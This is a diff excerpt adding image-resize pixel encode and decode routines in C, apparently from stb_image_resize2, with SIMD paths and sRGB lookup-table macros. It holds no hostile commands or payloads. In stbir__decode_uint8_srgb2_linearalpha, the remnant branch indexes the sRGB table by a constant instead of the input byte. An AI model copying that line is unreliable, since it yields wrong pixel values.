+    decode[1] = ((float)(input[stbir__decode_order1])) * stbir__max_uint8_as_float_inverted;
+    #endif
+    #if stbir__coder_min_num >= 3
+    decode[2] = ((float)(input[stbir__decode_order2])) * stbir__max_uint8_as_float_inverted;
+    #endif
+    decode += stbir__coder_min_num;
+    input += stbir__coder_min_num;
+  }
+  #endif
+
+  return decode_end;
+}
+
+static void STBIR__CODER_NAME( stbir__encode_uint8_linear_scaled )( void * outputp, int width_times_channels, float const * encode )
+{
+  unsigned char STBIR_SIMD_STREAMOUT_PTR( * ) output = (unsigned char *) outputp;
+  unsigned char * end_output = ( (unsigned char *) output ) + width_times_channels;
+
+  #ifdef STBIR_SIMD
+  if ( width_times_channels >= stbir__simdfX_float_count*2 )
+  {
+    float const * end_encode_m8 = encode + width_times_channels - stbir__simdfX_float_count*2;
+    end_output -= stbir__simdfX_float_count*2;
+    STBIR_NO_UNROLL_LOOP_START_INF_FOR
+    for(;;)
+    {
+      stbir__simdfX e0, e1;
+      stbir__simdi i;
+      STBIR_SIMD_NO_UNROLL(encode);
+      stbir__simdfX_madd_mem( e0, STBIR_simd_point5X, STBIR_max_uint8_as_floatX, encode );
+      stbir__simdfX_madd_mem( e1, STBIR_simd_point5X, STBIR_max_uint8_as_floatX, encode+stbir__simdfX_float_count );
+      stbir__encode_simdfX_unflip( e0 );
+      stbir__encode_simdfX_unflip( e1 );
+      #ifdef STBIR_SIMD8
+      stbir__simdf8_pack_to_16bytes( i, e0, e1 );
+      stbir__simdi_store( output, i );
+      #else
+      stbir__simdf_pack_to_8bytes( i, e0, e1 );
+      stbir__simdi_store2( output, i );
+      #endif
+      encode += stbir__simdfX_float_count*2;
+      output += stbir__simdfX_float_count*2;
+      if ( output <= end_output )
+        continue;
+      if ( output == ( end_output + stbir__simdfX_float_count*2 ) )
+        break;
+      output = end_output; // backup and do last couple
+      encode = end_encode_m8;
+    }
+    return;
+  }
+
+  // try to do blocks of 4 when you can
+  #if stbir__coder_min_num != 3 // doesn't divide cleanly by four
+  output += 4;
+  STBIR_NO_UNROLL_LOOP_START
+  while( output <= end_output )
+  {
+    stbir__simdf e0;
+    stbir__simdi i0;
+    STBIR_NO_UNROLL(encode);
+    stbir__simdf_load( e0, encode );
+    stbir__simdf_madd( e0, STBIR__CONSTF(STBIR_simd_point5), STBIR__CONSTF(STBIR_max_uint8_as_float), e0 );
+    stbir__encode_simdf4_unflip( e0 );
+    stbir__simdf_pack_to_8bytes( i0, e0, e0 );  // only use first 4
+    *(int*)(output-4) = stbir__simdi_to_int( i0 );
+    output += 4;
+    encode += 4;
+  }
+  output -= 4;
+  #endif
+
+  // do the remnants
+  #if stbir__coder_min_num < 4
+  STBIR_NO_UNROLL_LOOP_START
+  while( output < end_output )
+  {
+    stbir__simdf e0;
+    STBIR_NO_UNROLL(encode);
+    stbir__simdf_madd1_mem( e0, STBIR__CONSTF(STBIR_simd_point5), STBIR__CONSTF(STBIR_max_uint8_as_float), encode+stbir__encode_order0 ); output[0] = stbir__simdf_convert_float_to_uint8( e0 );
+    #if stbir__coder_min_num >= 2
+    stbir__simdf_madd1_mem( e0, STBIR__CONSTF(STBIR_simd_point5), STBIR__CONSTF(STBIR_max_uint8_as_float), encode+stbir__encode_order1 ); output[1] = stbir__simdf_convert_float_to_uint8( e0 );
+    #endif
+    #if stbir__coder_min_num >= 3
+    stbir__simdf_madd1_mem( e0, STBIR__CONSTF(STBIR_simd_point5), STBIR__CONSTF(STBIR_max_uint8_as_float), encode+stbir__encode_order2 ); output[2] = stbir__simdf_convert_float_to_uint8( e0 );
+    #endif
+    output += stbir__coder_min_num;
+    encode += stbir__coder_min_num;
+  }
+  #endif
+
+  #else
+
+  // try to do blocks of 4 when you can
+  #if stbir__coder_min_num != 3 // doesn't divide cleanly by four
+  output += 4;
+  while( output <= end_output )
+  {
+    float f;
+    f = encode[stbir__encode_order0] * stbir__max_uint8_as_float + 0.5f; STBIR_CLAMP(f, 0, 255); output[0-4] = (unsigned char)f;
+    f = encode[stbir__encode_order1] * stbir__max_uint8_as_float + 0.5f; STBIR_CLAMP(f, 0, 255); output[1-4] = (unsigned char)f;
+    f = encode[stbir__encode_order2] * stbir__max_uint8_as_float + 0.5f; STBIR_CLAMP(f, 0, 255); output[2-4] = (unsigned char)f;
+    f = encode[stbir__encode_order3] * stbir__max_uint8_as_float + 0.5f; STBIR_CLAMP(f, 0, 255); output[3-4] = (unsigned char)f;
+    output += 4;
+    encode += 4;
+  }
+  output -= 4;
+  #endif
+
+  // do the remnants
+  #if stbir__coder_min_num < 4
+  STBIR_NO_UNROLL_LOOP_START
+  while( output < end_output )
+  {
+    float f;
+    STBIR_NO_UNROLL(encode);
+    f = encode[stbir__encode_order0] * stbir__max_uint8_as_float + 0.5f; STBIR_CLAMP(f, 0, 255); output[0] = (unsigned char)f;
+    #if stbir__coder_min_num >= 2
+    f = encode[stbir__encode_order1] * stbir__max_uint8_as_float + 0.5f; STBIR_CLAMP(f, 0, 255); output[1] = (unsigned char)f;
+    #endif
+    #if stbir__coder_min_num >= 3
+    f = encode[stbir__encode_order2] * stbir__max_uint8_as_float + 0.5f; STBIR_CLAMP(f, 0, 255); output[2] = (unsigned char)f;
+    #endif
+    output += stbir__coder_min_num;
+    encode += stbir__coder_min_num;
+  }
+  #endif
+  #endif
+}
+
+static float * STBIR__CODER_NAME(stbir__decode_uint8_linear)( float * decodep, int width_times_channels, void const * inputp )
+{
+  float STBIR_STREAMOUT_PTR( * ) decode = decodep;
+  float * decode_end = (float*) decode + width_times_channels;
+  unsigned char const * input = (unsigned char const*)inputp;
+
+  #ifdef STBIR_SIMD
+  unsigned char const * end_input_m16 = input + width_times_channels - 16;
+  if ( width_times_channels >= 16 )
+  {
+    decode_end -= 16;
+    STBIR_NO_UNROLL_LOOP_START_INF_FOR
+    for(;;)
+    {
+      #ifdef STBIR_SIMD8
+      stbir__simdi i; stbir__simdi8 o0,o1;
+      stbir__simdf8 of0, of1;
+      STBIR_NO_UNROLL(decode);
+      stbir__simdi_load( i, input );
+      stbir__simdi8_expand_u8_to_u32( o0, o1, i );
+      stbir__simdi8_convert_i32_to_float( of0, o0 );
+      stbir__simdi8_convert_i32_to_float( of1, o1 );
+      stbir__decode_simdf8_flip( of0 );
+      stbir__decode_simdf8_flip( of1 );
+      stbir__simdf8_store( decode + 0, of0 );
+      stbir__simdf8_store( decode + 8, of1 );
+      #else
+      stbir__simdi i, o0, o1, o2, o3;
+      stbir__simdf of0, of1, of2, of3;
+      STBIR_NO_UNROLL(decode);
+      stbir__simdi_load( i, input );
+      stbir__simdi_expand_u8_to_u32( o0,o1,o2,o3,i);
+      stbir__simdi_convert_i32_to_float( of0, o0 );
+      stbir__simdi_convert_i32_to_float( of1, o1 );
+      stbir__simdi_convert_i32_to_float( of2, o2 );
+      stbir__simdi_convert_i32_to_float( of3, o3 );
+      stbir__decode_simdf4_flip( of0 );
+      stbir__decode_simdf4_flip( of1 );
+      stbir__decode_simdf4_flip( of2 );
+      stbir__decode_simdf4_flip( of3 );
+      stbir__simdf_store( decode + 0,  of0 );
+      stbir__simdf_store( decode + 4,  of1 );
+      stbir__simdf_store( decode + 8,  of2 );
+      stbir__simdf_store( decode + 12, of3 );
+#endif
+      decode += 16;
+      input += 16;
+      if ( decode <= decode_end )
+        continue;
+      if ( decode == ( decode_end + 16 ) )
+        break;
+      decode = decode_end; // backup and do last couple
+      input = end_input_m16;
+    }
+    return decode_end + 16;
+  }
+  #endif
+
+  // try to do blocks of 4 when you can
+  #if stbir__coder_min_num != 3 // doesn't divide cleanly by four
+  decode += 4;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  while( decode <= decode_end )
+  {
+    STBIR_SIMD_NO_UNROLL(decode);
+    decode[0-4] = ((float)(input[stbir__decode_order0]));
+    decode[1-4] = ((float)(input[stbir__decode_order1]));
+    decode[2-4] = ((float)(input[stbir__decode_order2]));
+    decode[3-4] = ((float)(input[stbir__decode_order3]));
+    decode += 4;
+    input += 4;
+  }
+  decode -= 4;
+  #endif
+
+  // do the remnants
+  #if stbir__coder_min_num < 4
+  STBIR_NO_UNROLL_LOOP_START
+  while( decode < decode_end )
+  {
+    STBIR_NO_UNROLL(decode);
+    decode[0] = ((float)(input[stbir__decode_order0]));
+    #if stbir__coder_min_num >= 2
+    decode[1] = ((float)(input[stbir__decode_order1]));
+    #endif
+    #if stbir__coder_min_num >= 3
+    decode[2] = ((float)(input[stbir__decode_order2]));
+    #endif
+    decode += stbir__coder_min_num;
+    input += stbir__coder_min_num;
+  }
+  #endif
+  return decode_end;
+}
+
+static void STBIR__CODER_NAME( stbir__encode_uint8_linear )( void * outputp, int width_times_channels, float const * encode )
+{
+  unsigned char STBIR_SIMD_STREAMOUT_PTR( * ) output = (unsigned char *) outputp;
+  unsigned char * end_output = ( (unsigned char *) output ) + width_times_channels;
+
+  #ifdef STBIR_SIMD
+  if ( width_times_channels >= stbir__simdfX_float_count*2 )
+  {
+    float const * end_encode_m8 = encode + width_times_channels - stbir__simdfX_float_count*2;
+    end_output -= stbir__simdfX_float_count*2;
+    STBIR_SIMD_NO_UNROLL_LOOP_START_INF_FOR
+    for(;;)
+    {
+      stbir__simdfX e0, e1;
+      stbir__simdi i;
+      STBIR_SIMD_NO_UNROLL(encode);
+      stbir__simdfX_add_mem( e0, STBIR_simd_point5X, encode );
+      stbir__simdfX_add_mem( e1, STBIR_simd_point5X, encode+stbir__simdfX_float_count );
+      stbir__encode_simdfX_unflip( e0 );
+      stbir__encode_simdfX_unflip( e1 );
+      #ifdef STBIR_SIMD8
+      stbir__simdf8_pack_to_16bytes( i, e0, e1 );
+      stbir__simdi_store( output, i );
+      #else
+      stbir__simdf_pack_to_8bytes( i, e0, e1 );
+      stbir__simdi_store2( output, i );
+      #endif
+      encode += stbir__simdfX_float_count*2;
+      output += stbir__simdfX_float_count*2;
+      if ( output <= end_output )
+        continue;
+      if ( output == ( end_output + stbir__simdfX_float_count*2 ) )
+        break;
+      output = end_output; // backup and do last couple
+      encode = end_encode_m8;
+    }
+    return;
+  }
+
+  // try to do blocks of 4 when you can
+  #if stbir__coder_min_num != 3 // doesn't divide cleanly by four
+  output += 4;
+  STBIR_NO_UNROLL_LOOP_START
+  while( output <= end_output )
+  {
+    stbir__simdf e0;
+    stbir__simdi i0;
+    STBIR_NO_UNROLL(encode);
+    stbir__simdf_load( e0, encode );
+    stbir__simdf_add( e0, STBIR__CONSTF(STBIR_simd_point5), e0 );
+    stbir__encode_simdf4_unflip( e0 );
+    stbir__simdf_pack_to_8bytes( i0, e0, e0 );  // only use first 4
+    *(int*)(output-4) = stbir__simdi_to_int( i0 );
+    output += 4;
+    encode += 4;
+  }
+  output -= 4;
+  #endif
+
+  #else
+
+  // try to do blocks of 4 when you can
+  #if stbir__coder_min_num != 3 // doesn't divide cleanly by four
+  output += 4;
+  while( output <= end_output )
+  {
+    float f;
+    f = encode[stbir__encode_order0] + 0.5f; STBIR_CLAMP(f, 0, 255); output[0-4] = (unsigned char)f;
+    f = encode[stbir__encode_order1] + 0.5f; STBIR_CLAMP(f, 0, 255); output[1-4] = (unsigned char)f;
+    f = encode[stbir__encode_order2] + 0.5f; STBIR_CLAMP(f, 0, 255); output[2-4] = (unsigned char)f;
+    f = encode[stbir__encode_order3] + 0.5f; STBIR_CLAMP(f, 0, 255); output[3-4] = (unsigned char)f;
+    output += 4;
+    encode += 4;
+  }
+  output -= 4;
+  #endif
+
+  #endif
+
+  // do the remnants
+  #if stbir__coder_min_num < 4
+  STBIR_NO_UNROLL_LOOP_START
+  while( output < end_output )
+  {
+    float f;
+    STBIR_NO_UNROLL(encode);
+    f = encode[stbir__encode_order0] + 0.5f; STBIR_CLAMP(f, 0, 255); output[0] = (unsigned char)f;
+    #if stbir__coder_min_num >= 2
+    f = encode[stbir__encode_order1] + 0.5f; STBIR_CLAMP(f, 0, 255); output[1] = (unsigned char)f;
+    #endif
+    #if stbir__coder_min_num >= 3
+    f = encode[stbir__encode_order2] + 0.5f; STBIR_CLAMP(f, 0, 255); output[2] = (unsigned char)f;
+    #endif
+    output += stbir__coder_min_num;
+    encode += stbir__coder_min_num;
+  }
+  #endif
+}
+
+static float * STBIR__CODER_NAME(stbir__decode_uint8_srgb)( float * decodep, int width_times_channels, void const * inputp )
+{
+  float STBIR_STREAMOUT_PTR( * ) decode = decodep;
+  float * decode_end = (float*) decode + width_times_channels;
+  unsigned char const * input = (unsigned char const *)inputp;
+
+  // try to do blocks of 4 when you can
+  #if stbir__coder_min_num != 3 // doesn't divide cleanly by four
+  decode += 4;
+  while( decode <= decode_end )
+  {
+    decode[0-4] = stbir__srgb_uchar_to_linear_float[ input[ stbir__decode_order0 ] ];
+    decode[1-4] = stbir__srgb_uchar_to_linear_float[ input[ stbir__decode_order1 ] ];
+    decode[2-4] = stbir__srgb_uchar_to_linear_float[ input[ stbir__decode_order2 ] ];
+    decode[3-4] = stbir__srgb_uchar_to_linear_float[ input[ stbir__decode_order3 ] ];
+    decode += 4;
+    input += 4;
+  }
+  decode -= 4;
+  #endif
+
+  // do the remnants
+  #if stbir__coder_min_num < 4
+  STBIR_NO_UNROLL_LOOP_START
+  while( decode < decode_end )
+  {
+    STBIR_NO_UNROLL(decode);
+    decode[0] = stbir__srgb_uchar_to_linear_float[ input[ stbir__decode_order0 ] ];
+    #if stbir__coder_min_num >= 2
+    decode[1] = stbir__srgb_uchar_to_linear_float[ input[ stbir__decode_order1 ] ];
+    #endif
+    #if stbir__coder_min_num >= 3
+    decode[2] = stbir__srgb_uchar_to_linear_float[ input[ stbir__decode_order2 ] ];
+    #endif
+    decode += stbir__coder_min_num;
+    input += stbir__coder_min_num;
+  }
+  #endif
+  return decode_end;
+}
+
+#define stbir__min_max_shift20( i, f ) \
+    stbir__simdf_max( f, f, stbir_simdf_casti(STBIR__CONSTI( STBIR_almost_zero )) ); \
+    stbir__simdf_min( f, f, stbir_simdf_casti(STBIR__CONSTI( STBIR_almost_one  )) ); \
+    stbir__simdi_32shr( i, stbir_simdi_castf( f ), 20 );
+
+#define stbir__scale_and_convert( i, f ) \
+    stbir__simdf_madd( f, STBIR__CONSTF( STBIR_simd_point5 ), STBIR__CONSTF( STBIR_max_uint8_as_float ), f ); \
+    stbir__simdf_max( f, f, stbir__simdf_zeroP() ); \
+    stbir__simdf_min( f, f, STBIR__CONSTF( STBIR_max_uint8_as_float ) ); \
+    stbir__simdf_convert_float_to_i32( i, f );
+
+#define stbir__linear_to_srgb_finish( i, f ) \
+{ \
+    stbir__simdi temp;  \
+    stbir__simdi_32shr( temp, stbir_simdi_castf( f ), 12 ) ; \
+    stbir__simdi_and( temp, temp, STBIR__CONSTI(STBIR_mastissa_mask) ); \
+    stbir__simdi_or( temp, temp, STBIR__CONSTI(STBIR_topscale) ); \
+    stbir__simdi_16madd( i, i, temp ); \
+    stbir__simdi_32shr( i, i, 16 ); \
+}
+
+/* ---- srgb LUT index bias (matches stb’s scalar path) ---- */
+#ifndef STBIR_SRGB_LUT_BIAS
+#define STBIR_SRGB_LUT_BIAS   ((127-13)*8)   /* 912 */
+#endif
+
+#define stbir__simdi_table_lookup4_bias(v0,v1,v2,v3, table, bias)                      \
+do {                                                                                   \
+  const uint32_t* const _tbl = (const uint32_t*)(table);                               \
+  stbir__simdi_u32 _t0,_t1,_t2,_t3;                                                    \
+  _t0.m128i_i128 = (v0); _t1.m128i_i128 = (v1); _t2.m128i_i128 = (v2); _t3.m128i_i128 = (v3); \
+  for (int _k=0; _k<4; ++_k) {                                                         \
+    int _i0 = (int)_t0.m128i_i32[_k] - (bias);                                         \
+    int _i1 = (int)_t1.m128i_i32[_k] - (bias);                                         \
+    int _i2 = (int)_t2.m128i_i32[_k] - (bias);                                         \
+    int _i3 = (int)_t3.m128i_i32[_k] - (bias);                                         \
+    _t0.m128i_u32[_k] = _tbl[_i0];                                                     \
+    _t1.m128i_u32[_k] = _tbl[_i1];                                                     \
+    _t2.m128i_u32[_k] = _tbl[_i2];                                                     \
+    _t3.m128i_u32[_k] = _tbl[_i3];                                                     \
+  }                                                                                    \
+  (v0) = _t0.m128i_i128; (v1) = _t1.m128i_i128; (v2) = _t2.m128i_i128; (v3) = _t3.m128i_i128; \
+} while(0)
+
+#define stbir__simdi_table_lookup3_bias(v0,v1,v2, table, bias)                         \
+do {                                                                                   \
+  const uint32_t* const _tbl = (const uint32_t*)(table);                               \
+  stbir__simdi_u32 _t0,_t1,_t2;                                                        \
+  _t0.m128i_i128 = (v0); _t1.m128i_i128 = (v1); _t2.m128i_i128 = (v2);                 \
+  for (int _k=0; _k<4; ++_k) {                                                         \
+    int _i0 = (int)_t0.m128i_i32[_k] - (bias);                                         \
+    int _i1 = (int)_t1.m128i_i32[_k] - (bias);                                         \
+    int _i2 = (int)_t2.m128i_i32[_k] - (bias);                                         \
+    _t0.m128i_u32[_k] = _tbl[_i0];                                                     \
+    _t1.m128i_u32[_k] = _tbl[_i1];                                                     \
+    _t2.m128i_u32[_k] = _tbl[_i2];                                                     \
+  }                                                                                    \
+  (v0) = _t0.m128i_i128; (v1) = _t1.m128i_i128; (v2) = _t2.m128i_i128;                 \
+} while(0)
+
+#define stbir__simdi_table_lookup2_bias(v0,v1, table, bias)                            \
+do {                                                                                   \
+  const uint32_t* const _tbl = (const uint32_t*)(table);                               \
+  stbir__simdi_u32 _t0,_t1;                                                            \
+  _t0.m128i_i128 = (v0); _t1.m128i_i128 = (v1);                                        \
+  for (int _k=0; _k<4; ++_k) {                                                         \
+    int _i0 = (int)_t0.m128i_i32[_k] - (bias);                                         \
+    int _i1 = (int)_t1.m128i_i32[_k] - (bias);                                         \
+    _t0.m128i_u32[_k] = _tbl[_i0];                                                     \
+    _t1.m128i_u32[_k] = _tbl[_i1];                                                     \
+  }                                                                                    \
+  (v0) = _t0.m128i_i128; (v1) = _t1.m128i_i128;                                        \
+} while(0)
+
+
+static void STBIR__CODER_NAME( stbir__encode_uint8_srgb )( void * outputp, int width_times_channels, float const * encode )
+{
+  unsigned char STBIR_SIMD_STREAMOUT_PTR( * ) output = (unsigned char*) outputp;
+  unsigned char * end_output = ( (unsigned char*) output ) + width_times_channels;
+
+  #ifdef STBIR_SIMD
+
+  if ( width_times_channels >= 16 )
+  {
+    float const * end_encode_m16 = encode + width_times_channels - 16;
+    end_output -= 16;
+    STBIR_SIMD_NO_UNROLL_LOOP_START_INF_FOR
+    for(;;)
+    {
+      stbir__simdf f0, f1, f2, f3;
+      stbir__simdi i0, i1, i2, i3;
+      STBIR_SIMD_NO_UNROLL(encode);
+
+      stbir__simdf_load4_transposed( f0, f1, f2, f3, encode );
+
+      stbir__min_max_shift20( i0, f0 );
+      stbir__min_max_shift20( i1, f1 );
+      stbir__min_max_shift20( i2, f2 );
+      stbir__min_max_shift20( i3, f3 );
+
+      stbir__simdi_table_lookup4_bias(i0, i1, i2, i3, fp32_to_srgb8_tab4, STBIR_SRGB_LUT_BIAS);
+
+      stbir__linear_to_srgb_finish( i0, f0 );
+      stbir__linear_to_srgb_finish( i1, f1 );
+      stbir__linear_to_srgb_finish( i2, f2 );
+      stbir__linear_to_srgb_finish( i3, f3 );
+
+      stbir__interleave_pack_and_store_16_u8( output,  STBIR_strs_join1(i, ,stbir__encode_order0), STBIR_strs_join1(i, ,stbir__encode_order1), STBIR_strs_join1(i, ,stbir__encode_order2), STBIR_strs_join1(i, ,stbir__encode_order3) );
+
+      encode += 16;
+      output += 16;
+      if ( output <= end_output )
+        continue;
+      if ( output == ( end_output + 16 ) )
+        break;
+      output = end_output; // backup and do last couple
+      encode = end_encode_m16;
+    }
+    return;
+  }
+  #endif
+
+  // try to do blocks of 4 when you can
+  #if stbir__coder_min_num != 3 // doesn't divide cleanly by four
+  output += 4;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  while ( output <= end_output )
+  {
+    STBIR_SIMD_NO_UNROLL(encode);
+
+    output[0-4] = stbir__linear_to_srgb_uchar( encode[stbir__encode_order0] );
+    output[1-4] = stbir__linear_to_srgb_uchar( encode[stbir__encode_order1] );
+    output[2-4] = stbir__linear_to_srgb_uchar( encode[stbir__encode_order2] );
+    output[3-4] = stbir__linear_to_srgb_uchar( encode[stbir__encode_order3] );
+
+    output += 4;
+    encode += 4;
+  }
+  output -= 4;
+  #endif
+
+  // do the remnants
+  #if stbir__coder_min_num < 4
+  STBIR_NO_UNROLL_LOOP_START
+  while( output < end_output )
+  {
+    STBIR_NO_UNROLL(encode);
+    output[0] = stbir__linear_to_srgb_uchar( encode[stbir__encode_order0] );
+    #if stbir__coder_min_num >= 2
+    output[1] = stbir__linear_to_srgb_uchar( encode[stbir__encode_order1] );
+    #endif
+    #if stbir__coder_min_num >= 3
+    output[2] = stbir__linear_to_srgb_uchar( encode[stbir__encode_order2] );
+    #endif
+    output += stbir__coder_min_num;
+    encode += stbir__coder_min_num;
+  }
+  #endif
+}
+
+#if ( stbir__coder_min_num == 4 ) || ( ( stbir__coder_min_num == 1 ) && ( !defined(stbir__decode_swizzle) ) )
+
+static float * STBIR__CODER_NAME(stbir__decode_uint8_srgb4_linearalpha)( float * decodep, int width_times_channels, void const * inputp )
+{
+  float STBIR_STREAMOUT_PTR( * ) decode = decodep;
+  float * decode_end = (float*) decode + width_times_channels;
+  unsigned char const * input = (unsigned char const *)inputp;
+
+  do {
+    decode[0] = stbir__srgb_uchar_to_linear_float[ input[stbir__decode_order0] ];
+    decode[1] = stbir__srgb_uchar_to_linear_float[ input[stbir__decode_order1] ];
+    decode[2] = stbir__srgb_uchar_to_linear_float[ input[stbir__decode_order2] ];
+    decode[3] = ( (float) input[stbir__decode_order3] ) * stbir__max_uint8_as_float_inverted;
+    input += 4;
+    decode += 4;
+  } while( decode < decode_end );
+  return decode_end;
+}
+
+
+static void STBIR__CODER_NAME( stbir__encode_uint8_srgb4_linearalpha )( void * outputp, int width_times_channels, float const * encode )
+{
+  unsigned char STBIR_SIMD_STREAMOUT_PTR( * ) output = (unsigned char*) outputp;
+  unsigned char * end_output = ( (unsigned char*) output ) + width_times_channels;
+
+  #ifdef STBIR_SIMD
+
+  if ( width_times_channels >= 16 )
+  {
+    float const * end_encode_m16 = encode + width_times_channels - 16;
+    end_output -= 16;
+    STBIR_SIMD_NO_UNROLL_LOOP_START_INF_FOR
+    for(;;)
+    {
+      stbir__simdf f0, f1, f2, f3;
+      stbir__simdi i0, i1, i2, i3;
+
+      STBIR_SIMD_NO_UNROLL(encode);
+      stbir__simdf_load4_transposed( f0, f1, f2, f3, encode );
+
+      stbir__min_max_shift20( i0, f0 );
+      stbir__min_max_shift20( i1, f1 );
+      stbir__min_max_shift20( i2, f2 );
+      stbir__scale_and_convert( i3, f3 );
+
+      stbir__simdi_table_lookup3_bias(i0, i1, i2, fp32_to_srgb8_tab4, STBIR_SRGB_LUT_BIAS);
+
+      stbir__linear_to_srgb_finish( i0, f0 );
+      stbir__linear_to_srgb_finish( i1, f1 );
+      stbir__linear_to_srgb_finish( i2, f2 );
+
+      stbir__interleave_pack_and_store_16_u8( output,  STBIR_strs_join1(i, ,stbir__encode_order0), STBIR_strs_join1(i, ,stbir__encode_order1), STBIR_strs_join1(i, ,stbir__encode_order2), STBIR_strs_join1(i, ,stbir__encode_order3) );
+
+      output += 16;
+      encode += 16;
+
+      if ( output <= end_output )
+        continue;
+      if ( output == ( end_output + 16 ) )
+        break;
+      output = end_output; // backup and do last couple
+      encode = end_encode_m16;
+    }
+    return;
+  }
+  #endif
+
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  do {
+    float f;
+    STBIR_SIMD_NO_UNROLL(encode);
+
+    output[stbir__decode_order0] = stbir__linear_to_srgb_uchar( encode[0] );
+    output[stbir__decode_order1] = stbir__linear_to_srgb_uchar( encode[1] );
+    output[stbir__decode_order2] = stbir__linear_to_srgb_uchar( encode[2] );
+
+    f = encode[3] * stbir__max_uint8_as_float + 0.5f;
+    STBIR_CLAMP(f, 0, 255);
+    output[stbir__decode_order3] = (unsigned char) f;
+
+    output += 4;
+    encode += 4;
+  } while( output < end_output );
+}
+
+#endif
+
+#if ( stbir__coder_min_num == 2 ) || ( ( stbir__coder_min_num == 1 ) && ( !defined(stbir__decode_swizzle) ) )
+
+static float * STBIR__CODER_NAME(stbir__decode_uint8_srgb2_linearalpha)( float * decodep, int width_times_channels, void const * inputp )
+{
+  float STBIR_STREAMOUT_PTR( * ) decode = decodep;
+  float * decode_end = (float*) decode + width_times_channels;
+  unsigned char const * input = (unsigned char const *)inputp;
+
+  decode += 4;
+  while( decode <= decode_end )
+  {
+    decode[0-4] = stbir__srgb_uchar_to_linear_float[ input[stbir__decode_order0] ];
+    decode[1-4] = ( (float) input[stbir__decode_order1] ) * stbir__max_uint8_as_float_inverted;
+    decode[2-4] = stbir__srgb_uchar_to_linear_float[ input[stbir__decode_order0+2] ];
+    decode[3-4] = ( (float) input[stbir__decode_order1+2] ) * stbir__max_uint8_as_float_inverted;
+    input += 4;
+    decode += 4;
+  }
+  decode -= 4;
+  if( decode < decode_end )
+  {
+    decode[0] = stbir__srgb_uchar_to_linear_float[ stbir__decode_order0 ];
+    decode[1] = ( (float) input[stbir__decode_order1] ) * stbir__max_uint8_as_float_inverted;
+  }
+  return decode_end;
+}
+
+static void STBIR__CODER_NAME( stbir__encode_uint8_srgb2_linearalpha )( void * outputp, int width_times_channels, float const * encode )
+{
+  unsigned char STBIR_SIMD_STREAMOUT_PTR( * ) output = (unsigned char*) outputp;
+  unsigned char * end_output = ( (unsigned char*) output ) + width_times_channels;
+
+  #ifdef STBIR_SIMD
+
+  if ( width_times_channels >= 16 )
+  {
+    float const * end_encode_m16 = encode + width_times_channels - 16;
+    end_output -= 16;
+    STBIR_SIMD_NO_UNROLL_LOOP_START_INF_FOR
+    for(;;)
+    {
+      stbir__simdf f0, f1, f2, f3;
+      stbir__simdi i0, i1, i2, i3;
+
+      STBIR_SIMD_NO_UNROLL(encode);
+      stbir__simdf_load4_transposed( f0, f1, f2, f3, encode );
+
+      stbir__min_max_shift20( i0, f0 );
+      stbir__scale_and_convert( i1, f1 );
+      stbir__min_max_shift20( i2, f2 );
+      stbir__scale_and_convert( i3, f3 );
+
+      stbir__simdi_table_lookup2_bias(i0, i2, fp32_to_srgb8_tab4, STBIR_SRGB_LUT_BIAS);
+
+      stbir__linear_to_srgb_finish( i0, f0 );
+      stbir__linear_to_srgb_finish( i2, f2 );
+
+      stbir__interleave_pack_and_store_16_u8( output,  STBIR_strs_join1(i, ,stbir__encode_order0), STBIR_strs_join1(i, ,stbir__encode_order1), STBIR_strs_join1(i, ,stbir__encode_order2), STBIR_strs_join1(i, ,stbir__encode_order3) );
+
+      output += 16;
+      encode += 16;
+      if ( output <= end_output )
+        continue;
+      if ( output == ( end_output + 16 ) )
+        break;
+      output = end_output; // backup and do last couple
+      encode = end_encode_m16;
+    }
+    return;
+  }
+  #endif
+
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  do {
+    float f;
+    STBIR_SIMD_NO_UNROLL(encode);
+
+    output[stbir__decode_order0] = stbir__linear_to_srgb_uchar( encode[0] );
+
+    f = encode[1] * stbir__max_uint8_as_float + 0.5f;
+    STBIR_CLAMP(f, 0, 255);
+    output[stbir__decode_order1] = (unsigned char) f;
+
+    output += 2;
+    encode += 2;
+  } while( output < end_output );
+}
+
+#endif
+
+static float * STBIR__CODER_NAME(stbir__decode_uint16_linear_scaled)( float * decodep, int width_times_channels, void const * inputp )
+{
+  float STBIR_STREAMOUT_PTR( * ) decode = decodep;
+  float * decode_end = (float*) decode + width_times_channels;
+  unsigned short const * input = (unsigned short const *)inputp;
+
+  #ifdef STBIR_SIMD
+  unsigned short const * end_input_m8 = input + width_times_channels - 8;
+  if ( width_times_channels >= 8 )
+  {
+    decode_end -= 8;
+    STBIR_NO_UNROLL_LOOP_START_INF_FOR
+    for(;;)
+    {
+      #ifdef STBIR_SIMD8
+      stbir__simdi i; stbir__simdi8 o;
+      stbir__simdf8 of;
+      STBIR_NO_UNROLL(decode);
+      stbir__simdi_load( i, input );
+      stbir__simdi8_expand_u16_to_u32( o, i );
+      stbir__simdi8_convert_i32_to_float( of, o );
+      stbir__simdf8_mult( of, of, STBIR_max_uint16_as_float_inverted8);
+      stbir__decode_simdf8_flip( of );
+      stbir__simdf8_store( decode + 0, of );
+      #else
+      stbir__simdi i, o0, o1;
+      stbir__simdf of0, of1;
+      STBIR_NO_UNROLL(decode);
+      stbir__simdi_load( i, input );
+      stbir__simdi_expand_u16_to_u32( o0,o1,i );
+      stbir__simdi_convert_i32_to_float( of0, o0 );
+      stbir__simdi_convert_i32_to_float( of1, o1 );
+      stbir__simdf_mult( of0, of0, STBIR__CONSTF(STBIR_max_uint16_as_float_inverted) );
+      stbir__simdf_mult( of1, of1, STBIR__CONSTF(STBIR_max_uint16_as_float_inverted));
+      stbir__decode_simdf4_flip( of0 );
+      stbir__decode_simdf4_flip( of1 );
+      stbir__simdf_store( decode + 0,  of0 );
+      stbir__simdf_store( decode + 4,  of1 );
+      #endif
+      decode += 8;
+      input += 8;
+      if ( decode <= decode_end )
+        continue;
+      if ( decode == ( decode_end + 8 ) )
+        break;
+      decode = decode_end; // backup and do last couple
+      input = end_input_m8;
+    }
+    return decode_end + 8;
+  }
+  #endif
+
+  // try to do blocks of 4 when you can
+  #if stbir__coder_min_num != 3 // doesn't divide cleanly by four
+  decode += 4;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  while( decode <= decode_end )
+  {
+    STBIR_SIMD_NO_UNROLL(decode);
+    decode[0-4] = ((float)(input[stbir__decode_order0])) * stbir__max_uint16_as_float_inverted;
+    decode[1-4] = ((float)(input[stbir__decode_order1])) * stbir__max_uint16_as_float_inverted;
